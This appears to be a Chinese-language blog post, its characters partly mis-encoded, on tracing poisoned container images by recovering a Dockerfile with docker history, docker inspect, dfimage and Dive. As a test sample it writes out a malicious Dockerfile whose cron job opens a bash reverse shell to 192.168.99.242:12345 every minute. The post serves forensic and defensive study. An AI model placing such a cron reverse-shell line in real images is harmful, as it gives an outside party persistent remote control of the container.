Docker鏡像解析獲取Dockerfile文件
01、概述
當(dāng)涉及到容器鏡像的安全時(shí),特別是在出現(xiàn)鏡像投毒引發(fā)的安全事件時(shí),追溯鏡像的來源和解析Dockerfile文件是應(yīng)急事件處理的關(guān)鍵步驟。在這篇博客中,我們將探討如何從鏡像解析獲取Dockerfile文件,這對容器安全至關(guān)重要。
02、環(huán)境準(zhǔn)備
利用Dockfile構(gòu)建一個(gè)反彈shell的惡意鏡像:
FROM ubuntu:20.04
RUN apt-get update &&\
apt-get install -y cron &&\
(echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab
ENTRYPOINT ["cron","-f","&&"]
CMD ["/bin/bash"]
03、鏡像解析Dockerfile
3.1 鏡像文件解析
在鏡像的元數(shù)據(jù)信息中,到鏡像構(gòu)建所使用的 Dockerfile,可以成功解析 Docker 鏡像并獲取其 Dockerfile 內(nèi)容,以了解鏡像的構(gòu)建過程和引入的軟件包及配置。
docker save -o test.tar test:v1.0
tar -xvf test.tar
3.2 docker命令參數(shù)
使用docker history 命令查看指定鏡像的創(chuàng)建歷史,展示只能看到一部分,可以加上 --no-trunc,就可以看到全部信息。
docker history test:v1.0
docker history test:v1.0 --no-trunc
使用docker inspect命令來查看Docker鏡像的詳細(xì)信息,通過--format參數(shù)可自行定義輸出信息,獲取鏡像的配置信息。
#查看鏡像的配置信息
docker inspect --format='{{json .Config}}' test:v1.0
3.3 dfimage
dfimage是一款第三方工具,可用來從鏡像中提取 Dockerfile
(1)生成快捷方式,使用dfimage可以輸出很詳細(xì)的 Dockerfile。
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 test:v1.0
3.4 Docker鏡像分析神器 Dive
Dive是一款Docker鏡像分析神器,分析和瀏覽 Docker 容器鏡像內(nèi)部,可以很詳細(xì)的看到每一層文件的變化。
alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
dive test:v1.0
圖片